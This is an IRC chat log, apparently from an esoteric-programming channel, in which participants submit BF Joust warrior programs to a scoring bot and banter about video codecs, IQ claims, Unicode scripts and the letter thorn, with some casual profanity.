for ehird_slowpoke_revengist: 31.0 22:00:36 !bfjoust slowpoke_revengist (>)*9((-)*128[(+)*128]>)*21 22:00:47 Score for ehird_slowpoke_revengist: 20.2 22:00:59 !bfjoust slowpoke_revengist (>)*9((-)*128[(-)*128]>)*21 22:01:09 Score for ehird_slowpoke_revengist: 19.8 22:01:12 00:03:47 anagol 22:01:12 00:03:49 more like 22:03:11 ehird: yes i am myndzi 22:03:21 this is my laptop at work, myndzi is my home client 22:03:30 right 22:03:52 !bfjoust revengist (>)*9[[<+<+>>-]<[>>+<-]+<[>-<[-]]>[->]+] 22:04:02 Score for ehird_revengist: 15.4 22:04:03 hmm that's a terrible algorithm 22:04:06 heh 22:04:41 Bleh upload so slow. 22:05:27 ehird: http://codu.org/eso/bfjoust/report-2009-05-29-20-17.mp4 22:05:40 *quicktime freezes* 22:05:50 oh, there it is 22:06:01 GregorR-L: oh my god the quality is awful 22:06:08 That's really not the point. 22:06:08 it looks like someone soaked the paper 22:06:26 GregorR-L: the realigning is kind of irritating, and it should probably be ordered by rank 22:06:33 since atm it's just... a bunch of flickering :P 22:06:46 also that text rendering looks like... WINDOWS. 22:06:47 Let me put my response as plainly as possible. 22:06:48 FUCK 22:06:49 YOU 22:06:57 GregorR-L: You forgot "QED" 22:07:55 ehird: The previous one looked better 22:08:00 Quantum Electro Dynamics 22:08:04 Deewiant: If only I could watch it 22:08:06 You have only yourself to blame :-P 22:08:15 Do I? 22:08:19 "i don't want to install divx" 22:08:20 (I could probably stick it into VLC, but meh.) 22:08:25 Deewiant: divx = shitware 22:08:28 it adds a bunch of crap to your system 22:08:35 so, nothx. 22:08:36 Not unless you ask it to 22:08:50 Deewiant: i've never told it to and it always does 22:09:00 Uhhhhhh 22:09:05 The previous one didn't look better. 22:09:06 Although admittedly, I haven't installed it since something like over 5 years ago 22:09:08 I didn't reencode. 22:09:20 Well now it's gone so I can't compare 22:09:41 Maybe I'm just confused, whatever 22:09:46 -!- Corun has changed nick to Corun|away. 22:10:00 SKEPTOVISION 22:10:03 Good lawd why don't people understand this. 22:10:33 I could understand my player fucking something up for different container formats :-P 22:10:57 MPEG-4 is a video format. DivX is an encoder that encodes to MPEG-4. .avi has the unfortunate property that it names things by the encoder, not the format. So when I make MPEG-4 .avi's, I call them DIVX, because that's supported most everywhere and everything recognizes that it's just MPEG-4. Except of course for ShitTime. 22:11:41 So the fact that Quicktime wants to install DivX is just stupidity to the power of stupidity. 22:12:20 I know. 22:12:26 From now on I'm making all my videos with ffhuffv video and snow audio so nobody can play them but me :P 22:12:32 whut 22:12:45 Those are both ffmpeg-specific formats. 22:12:47 :D 22:12:52 I can play ffvhuff 22:13:02 Oh yeah, ffvhuff, not ffhuffv ... I was close :P 22:13:03 And if snow is ffmpeg then I can play that, too :-P 22:13:29 And so's your FACE. 22:13:34 YOUR FACE BITCH 22:13:39 You're face bitch 22:16:33 00:50:45 it's unhealthy to drink milk, for adults 22:16:38 Also, unfounded assertion. 22:17:49 00:53:06 Polish cursewords are quite complez 22:17:49 00:53:10 complex 22:17:51 00:53:28 you can create new oneswhen you need 22:17:53 a metalanguage just for swearing? :D 22:18:42 00:50:45 it's unhealthy to drink milk, for adults // this isn't untrue, just outdated. 22:18:57 Presumably nooga is cro-magnon. 22:18:58 GregorR-L: It's certainly an assertion provided without foundation. 22:19:13 GregorR-L: oh, that'd explain his intelligence 22:19:17 INSTANT RIMSHOT DOT COM 22:19:30 Cro-magnons were no less intelligent than us, but sure :P 22:19:50 GregorR-L: Uh... That's the joke! 22:19:51 INSTANT RIMSHOT DOT COM 22:20:29 !google omg liek wtf 22:20:30 http://google.com/search?q=omg+liek+wtf 22:20:40 [[Of modern nationalities, Finns are closest to Cro-Magnons in terms of anthropological measurements.]] 22:20:42 fins r dum 22:20:46 !show google 22:20:46 bf +++++++++++++++[>+++++++>+++++++>++++>+<<<<-]>-.++++++++++++..----.>>--.-----------..<--.++++++++..--------.<----.>--.>-.<--.<+++.--.>>+.<<++++++.>++.----.<-.>++.+++++.>++++++++++++++++.<<-.>>--.,[>[-]>[-]<<[>+>+<<-]>>>[-]++++++++[<---->-]<[[-]>+<]>-[<<[-]>+++++++[<++++++>-]<+>>[-]]<<.[-]<,] 22:21:09 !bfjoust google +++++++++++++++[>+++++++>+++++++>++++>+<<<<-]>-.++++++++++++..----.>>--.-----------..<--.++++++++..--------.<----.>--.>-.<--.<+++.--.>>+.<<++++++.>++.----.<-.>++.+++++.>++++++++++++++++.<<-.>>--.,[>[-]>[-]<<[>+>+<<-]>>>[-]++++++++[<---->-]<[[-]>+<]>-[<<[-]>+++++++[<++++++>-]<+>>[-]]<<.[-]<,] 22:21:20 Score for Deewiant_google: 6.2 22:21:26 Google sux 22:21:39 :D 22:21:51 !bf_txtgen I am killing you with the power of my mind. 22:21:57 444 +++++++++++++++[>++>+++++>+++++++>+++++++<<<<-]>>--.<++.>++++++++++++++++++++++++.>>++++.<<<.>++++++++++.>.>-..<.>++.<--.<<.>>>+++++++++++.<<++++.++++++.<.>>>--.<++.<-.>-.<<.>.>.---.---------------------------------------------------------------------.>-------.-.++++++++.<<<+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.>--.>.<---.<+.>>.<--.>>++.<.<.----.+++++.<--.>>++++++++++++++.------------------------------------. [902] 22:22:10 !bfjoust telepath_homicider +++++++++++++++[>++>+++++>+++++++>+++++++<<<<-]>>--.<++.>++++++++++++++++++++++++.>>++++.<<<.>++++++++++.>.>-..<.>++.<--.<<.>>>+++++++++++.<<++++.++++++.<.>>>--.<++.<-.>-.<<.>.>.---.---------------------------------------------------------------------.>-------.-.++++++++.<<<+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.>--.>.<---.<+.>>.<--.>>++.<.<.----.+++++.<--.>>++++++++++++++.----------------------- 22:22:13 -------------. 22:22:15 dammit 22:22:16 oh well 22:22:19 they miss a dot 22:22:21 Score for ehird_telepath_homicider: 3.8 22:22:25 \o/ 22:22:30 i anti won! 22:22:32 !bfjoust i_am_kiling_you_with_the_power_of_my_mind +++++++++++++++[>++>+++++>+++++++>+++++++<<<<-]>>--.<++.>++++++++++++++++++++++++.>>++++.<<<.>++++++++++.>.>-..<.>++.<--.<<.>>>+++++++++++.<<++++.++++++.<.>>>--.<++.<-.>-.<<.>.>.---.---------------------------------------------------------------------.>-------.-.++++++++.<<<+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.>--.>.<---.<+.>>.<--.>>++.<.<.----.+ 22:22:32 ++++.<--.>>++++++++++++++.------------------------------------. 22:22:35 Maaaaaaaaand 22:22:40 *Maaaaaan 22:22:46 Score for GregorR-L_i_am_kiling_you_with_the_power_of_my_mind: 3.8 22:22:56 !bf_txtgen oh shit nooooooooooooooooooo 22:23:00 119 +++++++++++++++[>+++++++>+++++++>++>+<<<<-]>++++++.>-.>++.<<++++.>.+.<+.>>.<+++++.+......<-----..>..<...>......>>-----. [998] 22:23:01 !bftextgen I kill you with the power of my mind! 22:23:24 !bfjoust oh_shit_nooooooooooooooooooo +++++++++++++++[>+++++++>+++++++>++>+<<<<-]>++++++.>-.>++.<<++++.>.+.<+.>>.<+++++.+......<-----..>..<...>......>>-----. 22:23:28 !bf_txtgen You are dead. Is this awesome? [Y/N] 22:23:30 334 +++++++++++[>+++>++++++++>++++++++++>++++<<<<-]>>+.>+.++++++.<<-.>++++++++.>---.<++++.<.>>--------------.+.----.+++.>++.<<<.>>>+++++++++++++++++++++++++++.<<++++++++++++++.<.>+.>++++.+.<-.<.>>--------.<++++.>++++.<----.----.--.>.>----------.<<<.>>----------.--.>----------------.<-----------.<----------------.<----------------------. [497] 22:23:37 Score for GregorR-L_oh_shit_nooooooooooooooooooo: 8.5 22:23:39 !bfjoust f +++++++++++[>+++>++++++++>++++++++++>++++<<<<-]>>+.>+.++++++.<<-.>++++++++.>---.<++++.<.>>--------------.+.----.+++.>++.<<<.>>>+++++++++++++++++++++++++++.<<++++++++++++++.<.>+.>++++.+.<-.<.>>--------.<++++.>++++.<----.----.--.>.>----------.<<<.>>----------.--.>----------------.<-----------.<----------------.<----------------------. 22:23:50 Score for ehird_f: 3.8 22:23:57 !bf_txtgen I kill you with the power of my mind! 22:23:59 269 +++++++++++++++[>+++++++>+++++>+++++++>++++++++<<<<-]>>--.-----------------------------------------.<++.>>.+++..<.>>+.<<<++++.++++++.>.>>--.<---.>---.<-.<.<-.>>.---.<.<----.-.++++++++.>>.>--.<<.>>---.<+.<.>+++++++.<<++.>.>.>------.<+.>-----.<<+.-----------------------. [802] 22:24:07 !bfjoust pikhq +++++++++++++++[>+++++++>+++++>+++++++>++++++++<<<<-]>>--.-----------------------------------------.<++.>>.+++..<.>>+.<<<++++.++++++.>.>>--.<---.>---.<-.<.<-.>>.---.<.<----.-.++++++++.>>.>--.<<.>>---.<+.<.>+++++++.<<++.>.>.>------.<+.>-----.<<+.-----------------------. 22:24:17 Score for ehird_pikhq: 3.8 22:24:36 !bfjoust . 22:24:36 Use: !bfjoust 22:24:42 !bfjoust . . 22:24:53 Score for pikhq__: 9.9 22:25:11 MI ESTAS VEJNANTO! 22:26:48 !bfjoust pooper_scooper [[>+<-]>] 22:26:59 Score for GregorR-L_pooper_scooper: 0.0 22:27:04 YES! 22:27:06 I WINS 22:27:08 haha what 22:27:26 that lost against everything 22:27:29 how did you do that GregorR-L 22:28:15 Idonno :P 22:28:25 I prevented anything from running off the tape I guess. 22:28:31 While zeroing my flag. 22:28:53 Lawlz. 22:29:13 !bfjoust vejni [>+<-] 22:29:17 Might work better. 22:29:24 Score for pikhq_vejni: 1.8 22:29:30 CURSES. 22:30:06 I think it lost against pooper_scooper 22:30:44 01:14:29 my IQ went from 137 to 50 22:30:46 what, really? :P 22:31:06 -!- Corun|away has changed nick to Corun. 22:31:13 ehird: I can do that. No sleep for two or three days. 22:31:24 to 50? are you sure 22:31:26 Erm. Actually, no. 22:31:37 That just cuts my IQ in third, getting me to dead average. 22:34:03 I believe pikhq just claimed his IQ is 300. 22:34:11 GregorR-L: Yeah, I thought that for a second :P 22:34:11 Making him the smartest human being who ever lived. 22:34:14 I think he means 133. 22:34:18 100/3 = 33.3r 22:34:29 ... wait, no. 22:34:34 Yeah, he just said his IQ is 300 :P 22:35:51 GregorR-L: Erm. 22:35:57 Thinko. 22:36:03 pikhq: so what did you mean :P 22:36:06 I meant 150. 22:36:29 I'm not exactly demonstrating that right now. :p 22:37:10 150 is very unusually high; is the source here an internet IQ test? :P 22:37:11 So, chop off a third and it goes down to 100. 22:37:21 ehird: Nope. School-administered. 22:37:30 SATAN-ADMINISTERED 22:37:45 (some teacher thought I was retarded because I was bored in class and not paying any attention.) 22:37:55 pikhq: I'm not sure I believe you. Heck, http://upload.wikimedia.org/wikipedia/commons/f/f7/IQ_curve.svg ends at 140 with a tiny, tiny percentage :P 22:38:50 ehird: And then realise that we're all on that end of the bell curve. 22:39:02 I don't think that is true. 22:39:12 Well, yes, that end. 22:39:13 But not that far. 22:39:46 We find Brainfuck a simple and easy language. 22:40:05 We create and use difficult programming languages because it's entertaining. 22:40:23 pikhq: Finding brainfuck simple and easy != intelligence. IQ = pattern matching ability. 22:40:45 There's at least some correlation with IQ there. 22:41:27 Obviously an imperfect one, since the IQ tests are rather flawed, but still. 22:42:35 I just find it unlikely that the reading of 150 was unbiased and accurate. 22:43:15 Ploopiforbleboopidoopdoop. 22:43:55 GregorR-L: From that line, I deduce that your IQ is 72.94. 22:44:04 I'd say there's about a 1 in a few thousand chance of it being accurate. 22:44:20 ehird: MARF BLEEP GORBLEN TWERL! 22:44:36 GregorR-L: 71.7 22:44:50 pikhq: Hey, more likely than winning the lottery. 22:45:02 Indeed. 22:45:15 Significantly more-so, in fact. 22:45:40 ehird: Frankly, your discourse occurs to me as malignant and POOPY-HEADED. 22:45:53 GregorR-L: 150 22:46:16 GregorR-L: Thy discourse is shameful to us all. 22:46:22 pikhq: 11 22:46:32 ehird: This is true of thine, as well. 22:46:42 pikhq: vut 22:47:30 ehird: Wallow in thy shame. 22:47:52 GregorR-L: Thou should consider it, but 'twould require more shame from thee. 22:48:02 pikhq: -42 22:48:06 You're anti-meaningful. 22:48:06 y tongue is doth curse. 22:48:33 Sweet! I wrapped arround! 22:48:46 GregorR-L: doþ, þou mean'st. 22:48:54 pikhq: 4,294,967,254? 22:49:10 pikhq: Yeah, I noticed at :( 22:49:20 GregorR-L: If you use an int for it. 22:49:30 I wonder what sort of society would need an int for IQ. 22:49:38 SUPERALIENS 22:49:56 pikhq: By the way, if your IQ _is_ 150, then you're in the 99.997th percentile. 22:50:00 That's 0.003% :P 22:50:13 Wait, no. 22:50:13 That's more common than my chrome allergy. 22:50:15 That's 160. 22:50:15 ehird: Bah. 22:50:23 pikhq: a bit over the top 0.1% 22:50:27 (=99.9th percentile) 22:50:33 * Top 0.00003% (99.99997th percentile; IQ 175 sd15, IQ 180 sd16): OLYMPIQ Society, PARS Society 22:50:37 Also known as the "liar society" 22:51:05 HAHAHAHA 22:51:08 http://olymp.iqsociety.org/ 22:51:09 author link: 22:51:12 http://www.ELLHNAS.com/ 22:51:15 Damn, talk about egotistical 22:51:19 0.1%? All of Finland and a million elsewhere, then 22:51:33 I tend to regularly be in about the 99.9th percentile on standardised tests given in school. Man, those things were easy. 22:52:03 pikhq: [[The ceiling of most standardized (validated and normed) intelligence tests is at around 99.9th percentile. Measurements above this level need — for a credible result — a calculation, extrapolation and interpretation (including observations during the tests and sub-tests) by psychometricians experienced in high IQ testing, and at least two differently designed standardized tests (among these at least one supervised) should be performed.]] 22:52:09 lawl 22:52:23 * ehird crushing hopes and dreams since 1995 22:52:30 ehird: Well aware that they stop meaning much in the 140-150 mark. ;) 22:52:34 "a Greek medical doctor known also as GrIQ" 22:52:36 Wow 22:52:52 GregorR-L: His site's opening page is so creepy 22:52:53 "You're really, really fucking smart. Um, yeah. I got nothing." 22:53:03 A MILLION GRIQS ALL STARING AT EACH OTHER AND YOU 22:53:44 so like 22:53:59 "Sigma VI 99.9999999% QI>196 +6s " 22:54:03 i was just trying to explain to someone why a 32 bit prng is insufficient for properly doing card games 22:54:05 Membership: 0 people 22:54:15 ehird: lawl 22:54:20 and he tells me "random is random" (referring to mirc's built in PRNG, which is probably just the c library, which is ass) 22:54:35 nescience: lol 22:54:37 Wow. 22:54:39 GregorR-L: [[Membership of The Giga Society is ideally open to anyone outscoring .999999999 of the adult population on at least one of the accepted tests.]] 22:54:39 i explain why, and then he responds "random is random" 22:54:55 he wants me to prove to him that you can make a shuffle algorithm that'll generate teh same deck twice 22:54:56 nescience: It uses measurement of the americium particles in your computer. 22:54:58 I don't even know what that percentile is 22:55:10 >273648234? 22:55:11 it so happens that i have like 5 prngs ported to mirc though so that was easy to do :P 22:55:22 lol americium? is that a diss on americans? 22:55:51 -!- psygnisfive has quit (Read error: 104 (Connection reset by peer)). 22:55:55 ........... americium is a common alpha radiator used most popularly in smoke detectors but also in "true" random number generators. 22:56:02 -!- psygnisfive has joined. 22:56:11 There's also europium 22:56:20 GregorR-L: [[Many think the Giga Society can only have six or seven members as a result of its admission level and the size of the world population. This is false. The top six or seven are not the same individuals at each moment but are being replaced constantly. And as existing members are not expelled when they are no longer among the top six or seven, a multiple of that number of members is possible over time.]] 22:56:21 And einsteinium. 22:56:42 "Not just six or seven. If more intelligent people grow up and the previous ones stay alive, we could have up to TWENTY members!" 22:57:09 [[As an aside, the member list is not public]] 22:57:14 INTELLIGENCE=SECRECY 22:57:26 GregorR-L: And oxygen! 22:57:26 the owner calls himself the Psychometitor 22:57:30 Don't forget oxygen 22:57:40 i guess i need to l2periodic table 22:57:40 [[one must be careful with information found on do-it-yourself online encyclopaedias, as there is a tendency for megalomaniacs to write themselves into the member list. ]] 22:57:41 Dude. 22:57:46 Your fucking society is based around being megalomaniacal. 22:57:48 well anyway, i have no such hardware card 22:57:53 and the discussion was about software PRNGS anyway 22:57:54 * nescience shrugs 22:58:20 ehird: I suspect that those eligible include Hawking and some other freak out there. 22:58:36 (Hawking is not likely to be a member; I recall him saying that such societies were just stupid) 22:58:51 pikhq: What is it with people thinking that good physicist = overflowing IQ? 22:59:29 ehird: Arg. I heard somewhere that he actually had an absurdly high IQ. Now that I think of it, I was able to find no evidence of such. 22:59:55 DAMMIT, RUMORS. STOP PERMEATING MY BRAIN. 23:00:12 Per-meat-ing 23:02:16 -!- olsner has quit (anthony.freenode.net irc.freenode.net). 23:02:23 Hmmmm. 23:02:29 * GregorR-L tries to think of a meaning of per-meat-ing. 23:02:39 interesting 23:02:54 "I'd like to sell you this meat. How much?" "2 dollars permeating." 23:03:21 GregorR-L: "Hey gal, what's the rate?" "50 dollars per meating." 23:03:26 -!- olsner has joined. 23:03:33 ehird: laaaaaaaawl 23:06:24 brb 23:07:04 OMFG 23:07:11 I need orn Porn! 23:07:17 RULE 34 23:07:29 Þorn porn? 23:07:33 Tempting. 23:07:59 Maybe '' dropped out of English because it looks so effing similar to 'p' :P 23:08:30 Worked a bit better with þ written like it was in runes. 23:08:42 |> 23:08:48 The little round bit looked more... ›-like. 23:08:52 Yeah. 23:10:07 Yeah, but p's were written that way too, then :P 23:11:15 * pikhq pulls up the futhark, hoping to say 'no'. 23:11:38 -!- psygnisfive has quit (Read error: 104 (Connection reset by peer)). 23:11:50 -!- psygnisfive has joined. 23:11:58 Yeah, perþ looks completely different. 23:12:14 http://en.wikipedia.org/wiki/%E1%9B%88 23:12:18 Erm. 23:12:21 Peorð, I mean. 23:12:38 -!- kar8nga has quit (Remote closed the connection). 23:12:46 Hm 23:13:37 Wynn looks similar, though. 23:13:38 http://en.wikipedia.org/wiki/%E1%9A%B9 23:15:19 So, who's gonna make orn porn? 23:15:44 Þou. 23:15:47 Hmm, interesting 23:16:00 Didn't know there's a Unicode block for runes 23:16:13 FireFly: There's a Unicode block for almost everything. 23:16:19 There's a unicode block for fekking ogham. 23:16:27 Well, true 23:16:27 The esoteric crypto runes. 23:16:45 Ogham? Off to wiki -> 23:16:59 There's even a proposal for Voynich. 23:19:33 lol 23:19:45 nobody even knows what it says 23:19:46 Yes, Unicode will probably soon support a script that has been used for exactly one known document. 23:19:51 That nobody understands. 23:19:55 awesome 23:20:01 can't wait to go trollin' forums with that 23:20:06 "Probably"? 23:20:22 That a proposal exists doesn't mean it'll be accepted 23:20:51 Deewiant: It's likely to be included in the next Unicode version, though. 23:21:05 Whence do you get this "likely" 23:21:32 well think about it 23:21:42 if you have that many symbols available and nothing better to do with them..? 23:21:44 :) 23:21:55 There have been rejected proposals in the past, more sensible ones than Voynich :-P 23:22:05 they even have unicode butterflies! Ƹ̵̡Ӝ̵̨̄Ʒ 23:22:18 For instance, Klingon wasn't accepted 23:22:25 ey didn't accept Klingon? :( 23:22:37 WHAT 23:22:41 "2001-May-21, rejected by the UTC as inappropriate for encoding, for multiple reasons stated in L2/01-212. (Lack of evidence of usage in published literature, lack of organized community interest in its standardization, no resolution of potential trademark and copyright issues, question about its status as a cipher rather than a script, and so on.)" 23:22:41 klingon should totally be accepted 23:22:43 also quenya 23:22:44 :> 23:22:49 And yet, ey do have frikkin Ogham. 23:22:55 Deewiant: It is being reconsidered. 23:23:16 Yes, I imagine that interest would certainly have increased since 2001 23:24:15 so yeah. unicode quenya anyone? :( 23:24:21 The Klingon community has since published literature, has a standards organization, and has more importantly started using Klingon script. 23:24:26 myndzi\: It's being considered. 23:25:11 One should make a programming language based on Klingon 23:25:18 But it's probably been done 23:25:26 I think it has 23:25:37 http://esolangs.org/wiki/Var%27aq 23:25:45 Hm 23:25:56 But then again I know nothing 'bout Star Trek :P 23:26:14 Damn, it seems an xchat plugin can't catch input before it's sent. 23:33:26 -!- Judofyr has quit (Remote closed the connection). 23:39:23 -!- GregorR-L has quit (Remote closed the connection). 23:39:46 -!- GregorR-L has joined. 23:44:21 -!- inurinternet has quit (No route to host). 23:50:01 -!- nooga has joined. 2009-05-30: 00:01:35 ere, now I have a plugin so all my text is properly ornified. 00:01:58 Nice I just have to be sure to type þat manually. 00:02:02 Now at nobody can understand me, I'm trying to maximize e ''s in is sentence. 00:02:15 Fortunately for me, þe compose key makes it raþer easy. 00:02:22 þe w00ts. 00:02:35 Not as easy as just auto-replace :P 00:02:40 s/Nice/Nice;/ 00:03:03 True. However, it's not hard to reach down and hit þe Windows key from time to time. 00:03:41 00:04:11 Þy þorniness is amazing. Doest þou concur? 00:04:23 Ye. 00:04:30 (I have a lip) 00:04:37 *Yeþ*? 00:04:44 Ah. Þat explains it, þen. 00:05:06 But can you do.. ðis? 00:05:07 at's ree key presses for you, right? And one is awkward. 00:05:20 Well, yeah. 00:05:27 SUCKS TO BE THOU 00:05:30 Whoops :P 00:05:33 I don't replace TH :P 00:05:35 Only :P 00:05:39 Err, only T h 00:05:50 I could stick compose on a somewhat more convenient key. Like, oh, I dunno. Shift key? Backspace? 00:06:23 It's not like I use backspace much; þere's Emacs combos for þat. 00:06:43 SUCKS TO BE OU 00:06:47 ere we go. 00:06:48 Fixt. 00:07:13 Þy moþer suckeþ! 00:07:38 ou art paetic ... e. 00:08:15 Even the passenger gets in trouble! D:þ 00:08:33 Slereah: Vi anakŭ. 00:08:35 Er. 00:08:37 Slereah: Vi anakaŭ. 00:08:38 Also, ine moer smelle as yonder jackass. 00:09:04 And thine father smelt of elderberries? 00:09:11 GregorR-L: But þy moþer was a hamster and þy faþer smelt of elderberries. 00:09:15 Darn 00:09:18 -!- inurinternet has joined. 00:09:34 FireFly: Use þine when one would use "mine" and þy when one would use "my". 00:09:42 ere just aren't enough ''s. 00:09:46 Ah, alright 00:10:20 y elderberries art ine. 00:11:56 Þat þey are. 00:12:43 And yet, m'þinkest þat þy þoughts are limitéd to þe berries of elder. Doest þou þink of oþer þings? 00:13:27 Hier and ier. 00:13:41 23:19 pikhq: Yes, Unicode will probably soon support a script that has been used for exactly one known document. ← voynich? 00:13:46 yeah 00:13:46 Ah, indeed. An interesting statement of þine. 00:13:50 ehird: Yeþ. 00:14:06 So, where's my orn porn? 00:14:15 (liþpþ are contagiouþ) 00:14:17 Thorn porn? 00:14:19 Ouch 00:14:41 Slereah: Þe letter þorn. 00:14:47 Rule irty-four. 00:15:27 Hmm 00:15:43 voynich in unicode would be nice 00:15:51 also klingon; the Bible and hamlet have been published in it iirc 00:16:22 ehird: 'Twould. 00:16:24 Can one make a thorn rotated 90°, lying on it's round part, with unicode? 00:16:42 Þere's also þe Tragedy of Romeo and Juliet, IIRC. 00:16:57 it's not as if unicode's filling up 00:17:15 We should use unicode codepoints as IP addresses. 00:17:28 GregorR-L: IPv6. 00:18:21 Erm. Never mind. Unicode is a 32-bit encoding. 00:19:33 You mean irty-two :P 00:19:52 pikhq: ipv6 is 128 isn't it 00:19:57 Ye. 00:20:27 Hm 00:20:31 also unicode uses slightly less than 32 bits 00:20:41 so you'd have to use a bit over 4 chars 00:21:08 IPv4 would be represented by two Unicode chars? (u0000 to uFFFF) 00:21:23 pikhq: unicode assigns 0-1114111 00:21:26 32-bit is 4294967296 00:21:41 ††† 00:21:53 pikhq: 21-bit is the smallest that can hold unicode 00:22:09 (=0x200000) 00:22:39 pikhq: so you need ~6.095 unicode characters to represent an ipv6 address 00:22:41 → 7 00:22:53 !bfjoust allornothing >>>>>>>>>>>(>(-)*127-.-.)*21 00:23:04 Score for nescience_allornothing: 41.0 00:23:11 kinda amusing 00:23:17 nescience: how's that one work 00:23:25 looks sort of like i_keelst_thou 00:23:31 or was it thoust, I forget 00:23:41 i don't know, i didn't read that one 00:23:50 it skips one or two possible places for speed 00:23:57 then decs 127, 128, 129 with pauses and moves to the next 00:24:22 nescience: i_keelst_thou is basically set up some decoys, then 21 times, (-)*128, [-], next cell 00:24:31 so it advances really slowly, and avoids loopin 00:24:31 g 00:24:37 no loop in this one 00:24:40 yeah 00:24:42 it just reminded me of it 00:24:49 !bfjoust allornothing >>>>>>>>>>>>>>(>(-)*127-.-.)*21 00:24:59 start at 16 00:25:00 Score for nescience_allornothing: 52.6 00:25:02 ha. 00:25:25 "17th Century Damascus Blades Found to Contain Carbon Nanotubes" 00:25:28 Shit, those guys were high-tech. 00:26:06 !bfjoust allornothing >>>>>>>>>>>>>>(>(-)*127-.-.(>(+)*127-.-.)*11 00:26:16 Score for nescience_allornothing: 0.0 00:26:20 o_O 00:26:21 Apparently noing :P 00:26:24 !bfjoust allornothing >>>>>>>>>>>>>>(>(-)*127-.-.>(+)*127-.-.)*11 00:26:25 oh 00:26:30 copied one too many chars 00:26:34 i wonder why it's going slow 00:26:35 Score for nescience_allornothing: 26.3 00:26:35 !bfjoust i_keelst_thou_allornothing (>)*16((-)*128.->(+)*128.+>)*11 00:26:40 more hill crziness? 00:26:43 !bfjoust allornothing >>>>>>>>>>>>>>(>(-)*127-.-.)*21 00:26:46 Score for ehird_i_keelst_thou_allornothing: 26.9 00:26:48 heh 00:26:54 Score for nescience_allornothing: 51.4 00:27:09 !bfjoust allornothing >>(+)*19>(-)*19>>>>>>>>>>>(>(-)*127-.-.)*21 00:27:20 Score for nescience_allornothing: 58.7 00:27:40 lol it beats my other two 00:27:44 making them lower on the hill :\ 00:28:44 got quite far with my interp today 00:28:59 !bfjoust pooper_scooper (>(-)*20>(+)*20)*5[>(-)*100[-].+] 00:29:02 just needs a bit of fixing, some additional stuff and I can hack up a contest infrastructure 00:29:10 Score for GregorR-L_pooper_scooper: 27.1 00:29:14 Foo :( 00:29:38 !bfjoust allornothing ->>(+)*19>(-)*19>>>>>>>>>>>(>(-)*127-.-.)*21 00:29:41 !bfjoust pooper_scooper (>(-)*20>(+)*20)*5[>[-].+] 00:29:55 ehird: cool 00:30:00 Score for GregorR-L_pooper_scooper: 46.0 00:30:00 Score for nescience_allornothing: 47.4 00:30:08 !bfjoust allornothing >>(+)*19>(-)*19>>>>>>>>>>>(>(-)*127-.-.)*21 00:30:09 Define "contest infrastructure" in is context. 00:30:18 Score for nescience_allornothing: 55.7 00:30:32 he wants to do more than return w/l/t 00:30:55 !bfjoust pooper_scooper (>->+)*5[>[-].+] 00:31:07 Score for GregorR-L_pooper_scooper: 34.3 00:31:10 Bah 00:31:22 !bfjoust pooper_scooper (>(-)*32>(+)*32)*5[>[-].+] 00:31:25 by the way, my vote is for something like wins = 5 points, ties = 2 or 3 points, loss = 0 points 00:31:32 Score for GregorR-L_pooper_scooper: 50.4 00:31:34 let's have the program that wins the most on top 00:31:38 :P 00:31:46 Define "contest infrastructure" in þis context. <--- þ <-- ? 00:31:51 "th" 00:31:58 uh... ok 00:31:59 but i bet it's not hard and soft th both? 00:32:00 Is EVERYBODY against my winning-against-important-programs-is-better style? 00:32:11 nescience: Yes, it is. 00:32:18 nescience: Not in Icelandic, but is is English. 00:32:30 GregorR, that sounds like a good idea! 00:33:06 at's how it works! >_< 00:33:17 Pat's 00:33:23 who is she? 00:33:24 And everybody complains about it. 00:33:31 at was an upper-case :P 00:33:37 As was at. 00:33:53 GregorR, why... 00:34:03 I've decided at e letter orn needs to come back. 00:34:21 GregorR, therhaths this isn't a very useful way to write 00:34:34 i always thought that þ is icelandic th 00:34:38 Only because you're not used to e letter orn :P 00:34:50 nooga: It is. But it was in English until about 200 years ago. 00:34:57 GregorR, what has porn got to do with it? 00:35:01 at's a totally wrong estimate :P 00:35:24 oh, i see 00:35:44 Looks like about 400-500 years. 00:35:55 But anyway, it's e most recent letter e English alphabet lost. 00:35:59 And I'm fighting to get it back! :P 00:36:05 GregorR, the difference is really small in this font. At this reading distance 00:36:14 Shakespeare probably used it, but þat's about as recent as it gets. 00:36:15 so I'm just going to read it as p 00:36:17 or P 00:36:18 AnMaster: at's perhaps why it's gone :P 00:36:23 pikhq: No way Shakespeare used it. 00:36:25 pikhq: No fekking way. 00:36:48 GregorR-L: 400-500 years? It's possible. 00:37:05 His work is about as late as it's even possible to guess, þough. 00:37:09 Erm. 00:37:12 Even possible. 00:37:19 Poible :P 00:37:49 GregorR, I do have a relative in Minneapolis called Pat. Quite a far off relative. 00:38:01 BTW, there's anoþer letter þat English lost more recently. 00:38:03 * nooga is starting to think about making SADOL based language with less minimal syntax 00:38:12 pikhq, which one? 00:38:22 Art þou familiar wiþ þe long S? 00:38:22 Anyway, I was actually asking is: Is everybody against my winning-against-important-enemies-gains-you-more-points ranking system? 00:38:34 -!- bsmntbombdood has changed nick to bsmntbombgirl. 00:38:37 OH, I need to add at! 00:38:38 pikhq, fish? 00:38:42 err 00:38:44 f-ish 00:38:47 not "fish" 00:38:50 meh 00:39:12 pikhq, is it that one? 00:39:35 Anyway, I was actually asking þis: Is everybody against my winning-against-important-enemies-gains-you-more-points ranking system? <-- yes and no 00:39:41 I suggest: 00:39:47 -1 points for loosing 00:39:53 AnMaster: Yuh. 00:39:53 0 for draw 00:39:56 +1 for winning 00:40:04 00:32 GregorR-L: Is EVERYBODY against my winning-against-important-programs-is-better style? ← I support it 00:40:15 GregorR, what do you think about this simple one? 00:40:23 AnMaster: at's not "yes and no", at's firmly against my system :P 00:40:28 GregorR-L: Long s is awesome. :) 00:40:33 GregorR, define IMPORTANT program 00:40:34 AnMaster: at's how e "points" system works, but e "score" system is more complicated. 00:40:44 AnMaster: A program which itself has beat a lot of programs. 00:40:56 See http://codu.org/eso/bfjoust/SCORES 00:40:58 GregorR, what exact values used for it 00:41:45 "This gives the scores a range of 0-100 through convoluted math I choose not to go in to." <-- is that the relevant bit 00:41:51 Nope 00:41:54 at's totally irrelevant. 00:42:02 GregorR, I want to know the exact forumla for the "is important" 00:42:08 It's ere. 00:42:22 * AnMaster writes a Þ -> Th filter... 00:42:26 e base score is e important part, e score is just multiplied up to put it in a "human" range. 00:42:36 AnMaster: at'll counter my t h -> filter :P 00:42:48 GregorR-L: i'm 